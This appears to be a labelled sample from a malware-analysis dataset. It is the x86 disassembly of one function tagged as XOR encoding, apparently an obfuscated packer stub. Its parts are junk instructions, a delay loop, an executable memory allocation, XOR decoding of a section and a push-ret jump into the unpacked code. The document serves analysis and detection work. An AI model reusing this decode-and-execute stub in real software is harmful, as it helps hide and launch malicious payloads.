Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4a5f233b
mov esi, ebx
sub ebx, esi
popal
not ebx
sub esi, 0xf4515c73
mov edi, 0
mov eax, esi
sub edx, 1
and ebx, ebx
add ebx, 1
mov ecx, eax
mov ebx, edx
and edx, edx
mov ebx, edx
mov esi, ecx
sub edx, 0xd585624a
add ebx, 1
inc edi
add ebx, 0x54ef5ef2
dec ebx
dec edx
cmp edi, 0x100a1a5
jne 0xa789c4
add edx, edx
and edx, ebx
mov ebx, 0x8cc78e72
inc esi
sub ebx, 0x353fb38c
mov esi, 0xa78796
dec ecx
and edi, edi
inc edx
mov eax, 0xa7898a
sub edx, 0x83bc62bf
sub edx, edi
mov edi, 0xec86e13d
mov ebx, dword [esi]
add edx, 0x5b25f48b
add ecx, edx
or edx, edx
and ebx, 0xff
and edx, edi
add ecx, 0xd0efe656
xor dword [eax], ebx
and ecx, ecx
inc ecx
inc eax
sub edi, 0x117c5c7
or ecx, ecx
inc esi
sub edx, 0x5f44fb9c
not edx
sub ecx, 0xa28a7016
cmp eax, entry0
jl 0xa78a2a
add edi, 0x36c1a1f6
and edi, ecx
sub edx, 0x85931a06
sub edi, 0xdc906d08
mov esi, 0xca76be56
add ecx, 0xb48fdcab
or ebx, esi
mov edx, 0xa7898e
inc ecx
dec ebx
and ecx, ebx
mov edx, dword [edx]
dec ecx
not edi
sub ecx, 0x62580ca9
mov edx, dword [edx]
sub ecx, 0xcdd610c0
mov esi, 0x9ac59e1e
dec ebx
sub esp, 4
mov dword [esp], edx
mov ebx, 0xf3f59fd0
or edi, esi
mov edx, 0xa7898a
dec edi
and ecx, ecx
mov edx, dword [edx]
add ecx, 0x2029a0b8
not ebx
mov ecx, 0x31abc7e6
mov edx, dword [edx]
dec ebx
sub esi, 0xda3ba333
push 0xa78992
add edi, 0x2c6209d6
add ecx, 0x2350d25
add ebx, 1
call edx
add ecx, ecx
sub edi, esi
sub esi, 0x18ce38c3
pop edx
dec ebx
add ecx, 0xfc83b769
add edi, 1
push 0xa7899f
inc esi
add ecx, 0x972cb2ee
push eax
mov edi, 0xa4d6842d
add esi, esi
call edx
and esi, ebx
and ecx, ebx
push 0x40
sub edi, 1
and ebx, ecx
add ecx, 0xb09435ea
sub esp, 4
mov dword [esp], 0x3000
not ebx
and esi, ebx
and ecx, ebx
push 0x200001e6
mov ecx, edi
mov ecx, edi
push 0
sub ecx, edi
and esi, esi
call eax
sub edi, 0x154e435a
and edi, esi
add eax, 0x20000134
dec ecx
add ecx, ecx
dec edi
mov edx, 0xdb943fba
dec esi
add ecx, 0x1f25fc33
mov dword [eax], edx
add esi, edi
and esi, ebx
sub esi, ebx
mov edx, dword [eax]
or ecx, ebx
or esi, ebx
mov edi, ebx
cmp edx, 0xdb943fba
je 0xa78b9c
mov ebx, 0
mov byte [ebx], cl
not esi
inc ebx
add edi, esi
add edi, 0x961b8cf5
and esi, ebx
or esi, esi
add esi, esi
mov edx, section..reloc
not esi
or esi, ebx
mov ebx, esi
mov eax, 0xa78795
mov esi, 0x3022b400
sub ebx, 1
mov edi, 0
mov ebx, esi
not esi
mov ecx, 0xa78796
not ebx
or esi, ebx
lea ecx, [ecx + edi]
and ebx, ebx
or esi, ebx
and ebx, ebx
mov ecx, dword [ecx]
and esi, ebx
not esi
mov ebx, esi
and ecx, 0xff
sub esi, ebx
mov ebx, 0x28138364
add edi, 1
not ebx
mov esi, ebx
cmp edi, 0x1f4
jne 0xa78c0f
mov edi, 0
add esi, ebx
sub ebx, 1
add ebx, esi
sub esi, 0x3a01200a
sub esi, 0x477f5677
xor dword [edx], ecx
and esi, esi
inc ebx
add edx, 2
inc esi
add ebx, esi
cmp edx, eax
jl 0xa78bd1
dec esi
inc ebx
add ebx, 0x40434157
sub ebx, 0xa57dac1d
mov esi, section..reloc
sub eax, 0x467389f1
dec ecx
mov edi, section..reloc
not eax
inc ecx
or eax, eax
mov ebx, 0xa78795
and eax, ecx
add ecx, eax
mov edx, 0
not ecx
dec ecx
and eax, eax
mov dl, byte [edi]
inc eax
not eax
inc eax
mov byte [esi], dl
sub ecx, eax
mov eax, ecx
and eax, eax
inc esi
sub ecx, 1
sub eax, 0x652b9e79
add edi, 2
add eax, ecx
sub eax, 1
cmp edi, ebx
jle 0xa78c72
sub ecx, eax
sub ecx, eax
and esi, esi
mov ebx, 0x63cdaa2f
push 0x8dc6a0
mov esi, 0xf2cbec81
or esi, esi
sub esi, 0xb6c4e0c3
ret